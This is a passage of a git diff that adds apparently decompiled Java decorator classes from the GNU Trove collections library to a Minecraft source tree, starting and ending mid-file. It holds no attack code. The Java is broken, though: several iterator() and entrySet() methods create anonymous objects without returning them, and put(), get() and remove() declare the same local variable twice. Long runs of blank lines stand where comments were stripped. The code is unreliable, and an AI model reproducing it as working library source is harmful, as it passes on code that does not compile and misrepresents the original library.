+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+    return false;
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _set.clear();
+  }
+  
+
+
+
+
+
+
+  public boolean remove(Object value)
+  {
+    return ((value instanceof Long)) && (_set.remove(((Long)value).longValue()));
+  }
+  
+
+
+
+
+
+  public Iterator<Long> iterator()
+  {
+    new Iterator() {
+      private final TLongIterator it = _set.iterator();
+      
+      public Long next() {
+        return Long.valueOf(it.next());
+      }
+      
+      public boolean hasNext() {
+        return it.hasNext();
+      }
+      
+      public void remove() {
+        it.remove();
+      }
+    };
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _set.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return _set.size() == 0;
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _set = ((TLongSet)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_set);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TLongShortMapDecorator.java b/src/minecraft/gnu/trove/decorator/TLongShortMapDecorator.java
new file mode 100644
index 0000000..c8eb888
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TLongShortMapDecorator.java
@@ -0,0 +1,401 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TLongShortIterator;
+import gnu.trove.map.TLongShortMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TLongShortMapDecorator
+  extends AbstractMap<Long, Short>
+  implements Map<Long, Short>, Externalizable, Cloneable
+{
+  protected TLongShortMap _map;
+  
+  public TLongShortMapDecorator() {}
+  
+  public TLongShortMapDecorator(TLongShortMap map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TLongShortMap getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public Short put(Long key, Short value)
+  {
+    long k;
+    
+
+
+    long k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else
+      k = unwrapKey(key);
+    short v;
+    short v; if (value == null) {
+      v = _map.getNoEntryValue();
+    } else {
+      v = unwrapValue(value);
+    }
+    short retval = _map.put(k, v);
+    if (retval == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(retval);
+  }
+  
+
+
+
+  public Short get(Object key)
+  {
+    long k;
+    
+
+
+    if (key != null) { long k;
+      if ((key instanceof Long)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    short v = _map.get(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public Short remove(Object key)
+  {
+    long k;
+    
+
+
+    if (key != null) { long k;
+      if ((key instanceof Long)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    short v = _map.remove(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<Long, Short>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TLongShortMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Long, Short>> iterator()
+      {
+        new Iterator() {
+          private final TLongShortIterator it = _map.iterator();
+          
+          public Map.Entry<Long, Short> next() {
+            it.advance();
+            final Long key = wrapKey(it.key());
+            final Short v = wrapValue(it.value());
+            new Map.Entry() {
+              private Short val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Long getKey()
+              {
+                return key;
+              }
+              
+              public Short getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Short setValue(Short value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Long, Short> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Long key = (Long)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Long, Short>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TLongShortMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Short)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Long)) && (_map.containsKey(unwrapKey(key)));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Long, ? extends Short> map)
+  {
+    Iterator<? extends Map.Entry<? extends Long, ? extends Short>> it = map.entrySet().iterator();
+    
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Long, ? extends Short> e = (Map.Entry)it.next();
+      put((Long)e.getKey(), (Short)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Long wrapKey(long k)
+  {
+    return Long.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected long unwrapKey(Object key)
+  {
+    return ((Long)key).longValue();
+  }
+  
+
+
+
+
+
+
+  protected Short wrapValue(short k)
+  {
+    return Short.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected short unwrapValue(Object value)
+  {
+    return ((Short)value).shortValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _map = ((TLongShortMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TObjectByteMapDecorator.java b/src/minecraft/gnu/trove/decorator/TObjectByteMapDecorator.java
new file mode 100644
index 0000000..545fd2d
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TObjectByteMapDecorator.java
@@ -0,0 +1,345 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TObjectByteIterator;
+import gnu.trove.map.TObjectByteMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TObjectByteMapDecorator<K>
+  extends AbstractMap<K, Byte>
+  implements Map<K, Byte>, Externalizable, Cloneable
+{
+  protected TObjectByteMap<K> _map;
+  
+  public TObjectByteMapDecorator() {}
+  
+  public TObjectByteMapDecorator(TObjectByteMap<K> map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TObjectByteMap<K> getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+
+
+
+
+
+  public Byte put(K key, Byte value)
+  {
+    if (value == null) return wrapValue(_map.put(key, _map.getNoEntryValue()));
+    return wrapValue(_map.put(key, unwrapValue(value)));
+  }
+  
+
+
+
+
+
+
+  public Byte get(Object key)
+  {
+    byte v = _map.get(key);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+
+
+
+  public Byte remove(Object key)
+  {
+    byte v = _map.remove(key);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<K, Byte>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TObjectByteMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<K, Byte>> iterator()
+      {
+        new Iterator() {
+          private final TObjectByteIterator<K> it = _map.iterator();
+          
+          public Map.Entry<K, Byte> next() {
+            it.advance();
+            final K key = it.key();
+            final Byte v = wrapValue(it.value());
+            new Map.Entry() {
+              private Byte val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public K getKey()
+              {
+                return key;
+              }
+              
+              public Byte getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Byte setValue(Byte value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<K, Byte> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          K key = ((Map.Entry)o).getKey();
+          _map.remove(key);
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<K, Byte>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TObjectByteMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Byte)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    return _map.containsKey(key);
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return _map.size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends K, ? extends Byte> map)
+  {
+    Iterator<? extends Map.Entry<? extends K, ? extends Byte>> it = map.entrySet().iterator();
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends K, ? extends Byte> e = (Map.Entry)it.next();
+      put(e.getKey(), (Byte)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Byte wrapValue(byte k)
+  {
+    return Byte.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected byte unwrapValue(Object value)
+  {
+    return ((Byte)value).byteValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+
+    _map = ((TObjectByteMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TObjectCharMapDecorator.java b/src/minecraft/gnu/trove/decorator/TObjectCharMapDecorator.java
new file mode 100644
index 0000000..43c7a9d
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TObjectCharMapDecorator.java
@@ -0,0 +1,345 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TObjectCharIterator;
+import gnu.trove.map.TObjectCharMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TObjectCharMapDecorator<K>
+  extends AbstractMap<K, Character>
+  implements Map<K, Character>, Externalizable, Cloneable
+{
+  protected TObjectCharMap<K> _map;
+  
+  public TObjectCharMapDecorator() {}
+  
+  public TObjectCharMapDecorator(TObjectCharMap<K> map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TObjectCharMap<K> getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+
+
+
+
+
+  public Character put(K key, Character value)
+  {
+    if (value == null) return wrapValue(_map.put(key, _map.getNoEntryValue()));
+    return wrapValue(_map.put(key, unwrapValue(value)));
+  }
+  
+
+
+
+
+
+
+  public Character get(Object key)
+  {
+    char v = _map.get(key);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+
+
+
+  public Character remove(Object key)
+  {
+    char v = _map.remove(key);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<K, Character>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TObjectCharMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<K, Character>> iterator()
+      {
+        new Iterator() {
+          private final TObjectCharIterator<K> it = _map.iterator();
+          
+          public Map.Entry<K, Character> next() {
+            it.advance();
+            final K key = it.key();
+            final Character v = wrapValue(it.value());
+            new Map.Entry() {
+              private Character val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public K getKey()
+              {
+                return key;
+              }
+              
+              public Character getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Character setValue(Character value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<K, Character> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          K key = ((Map.Entry)o).getKey();
+          _map.remove(key);
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<K, Character>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TObjectCharMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Character)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    return _map.containsKey(key);
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return _map.size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends K, ? extends Character> map)
+  {
+    Iterator<? extends Map.Entry<? extends K, ? extends Character>> it = map.entrySet().iterator();
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends K, ? extends Character> e = (Map.Entry)it.next();
+      put(e.getKey(), (Character)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Character wrapValue(char k)
+  {
+    return Character.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected char unwrapValue(Object value)
+  {
+    return ((Character)value).charValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+
+    _map = ((TObjectCharMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TObjectDoubleMapDecorator.java b/src/minecraft/gnu/trove/decorator/TObjectDoubleMapDecorator.java
new file mode 100644
index 0000000..dc8ccad
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TObjectDoubleMapDecorator.java
@@ -0,0 +1,345 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TObjectDoubleIterator;
+import gnu.trove.map.TObjectDoubleMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TObjectDoubleMapDecorator<K>
+  extends AbstractMap<K, Double>
+  implements Map<K, Double>, Externalizable, Cloneable
+{
+  protected TObjectDoubleMap<K> _map;
+  
+  public TObjectDoubleMapDecorator() {}
+  
+  public TObjectDoubleMapDecorator(TObjectDoubleMap<K> map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TObjectDoubleMap<K> getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+
+
+
+
+
+  public Double put(K key, Double value)
+  {
+    if (value == null) return wrapValue(_map.put(key, _map.getNoEntryValue()));
+    return wrapValue(_map.put(key, unwrapValue(value)));
+  }
+  
+
+
+
+
+
+
+  public Double get(Object key)
+  {
+    double v = _map.get(key);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+
+
+
+  public Double remove(Object key)
+  {
+    double v = _map.remove(key);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<K, Double>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TObjectDoubleMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<K, Double>> iterator()
+      {
+        new Iterator() {
+          private final TObjectDoubleIterator<K> it = _map.iterator();
+          
+          public Map.Entry<K, Double> next() {
+            it.advance();
+            final K key = it.key();
+            final Double v = wrapValue(it.value());
+            new Map.Entry() {
+              private Double val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public K getKey()
+              {
+                return key;
+              }
+              
+              public Double getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Double setValue(Double value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<K, Double> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          K key = ((Map.Entry)o).getKey();
+          _map.remove(key);
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<K, Double>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TObjectDoubleMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Double)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    return _map.containsKey(key);
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return _map.size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends K, ? extends Double> map)
+  {
+    Iterator<? extends Map.Entry<? extends K, ? extends Double>> it = map.entrySet().iterator();
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends K, ? extends Double> e = (Map.Entry)it.next();
+      put(e.getKey(), (Double)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Double wrapValue(double k)
+  {
+    return Double.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected double unwrapValue(Object value)
+  {
+    return ((Double)value).doubleValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+
+    _map = ((TObjectDoubleMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TObjectFloatMapDecorator.java b/src/minecraft/gnu/trove/decorator/TObjectFloatMapDecorator.java
new file mode 100644
index 0000000..eb32c41
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TObjectFloatMapDecorator.java
@@ -0,0 +1,345 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TObjectFloatIterator;
+import gnu.trove.map.TObjectFloatMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TObjectFloatMapDecorator<K>
+  extends AbstractMap<K, Float>
+  implements Map<K, Float>, Externalizable, Cloneable
+{
+  protected TObjectFloatMap<K> _map;
+  
+  public TObjectFloatMapDecorator() {}
+  
+  public TObjectFloatMapDecorator(TObjectFloatMap<K> map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TObjectFloatMap<K> getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+
+
+
+
+
+  public Float put(K key, Float value)
+  {
+    if (value == null) return wrapValue(_map.put(key, _map.getNoEntryValue()));
+    return wrapValue(_map.put(key, unwrapValue(value)));
+  }
+  
+
+
+
+
+
+
+  public Float get(Object key)
+  {
+    float v = _map.get(key);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+
+
+
+  public Float remove(Object key)
+  {
+    float v = _map.remove(key);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<K, Float>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TObjectFloatMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<K, Float>> iterator()
+      {
+        new Iterator() {
+          private final TObjectFloatIterator<K> it = _map.iterator();
+          
+          public Map.Entry<K, Float> next() {
+            it.advance();
+            final K key = it.key();
+            final Float v = wrapValue(it.value());
+            new Map.Entry() {
+              private Float val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public K getKey()
+              {
+                return key;
+              }
+              
+              public Float getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Float setValue(Float value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<K, Float> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          K key = ((Map.Entry)o).getKey();
+          _map.remove(key);
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<K, Float>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TObjectFloatMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Float)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    return _map.containsKey(key);
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return _map.size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends K, ? extends Float> map)
+  {
+    Iterator<? extends Map.Entry<? extends K, ? extends Float>> it = map.entrySet().iterator();
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends K, ? extends Float> e = (Map.Entry)it.next();
+      put(e.getKey(), (Float)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Float wrapValue(float k)
+  {
+    return Float.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected float unwrapValue(Object value)
+  {
+    return ((Float)value).floatValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+
+    _map = ((TObjectFloatMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TObjectIntMapDecorator.java b/src/minecraft/gnu/trove/decorator/TObjectIntMapDecorator.java
new file mode 100644
index 0000000..2333ac0
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TObjectIntMapDecorator.java
@@ -0,0 +1,345 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TObjectIntIterator;
+import gnu.trove.map.TObjectIntMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TObjectIntMapDecorator<K>
+  extends AbstractMap<K, Integer>
+  implements Map<K, Integer>, Externalizable, Cloneable
+{
+  protected TObjectIntMap<K> _map;
+  
+  public TObjectIntMapDecorator() {}
+  
+  public TObjectIntMapDecorator(TObjectIntMap<K> map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TObjectIntMap<K> getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+
+
+
+
+
+  public Integer put(K key, Integer value)
+  {
+    if (value == null) return wrapValue(_map.put(key, _map.getNoEntryValue()));
+    return wrapValue(_map.put(key, unwrapValue(value)));
+  }
+  
+
+
+
+
+
+
+  public Integer get(Object key)
+  {
+    int v = _map.get(key);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+
+
+
+  public Integer remove(Object key)
+  {
+    int v = _map.remove(key);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
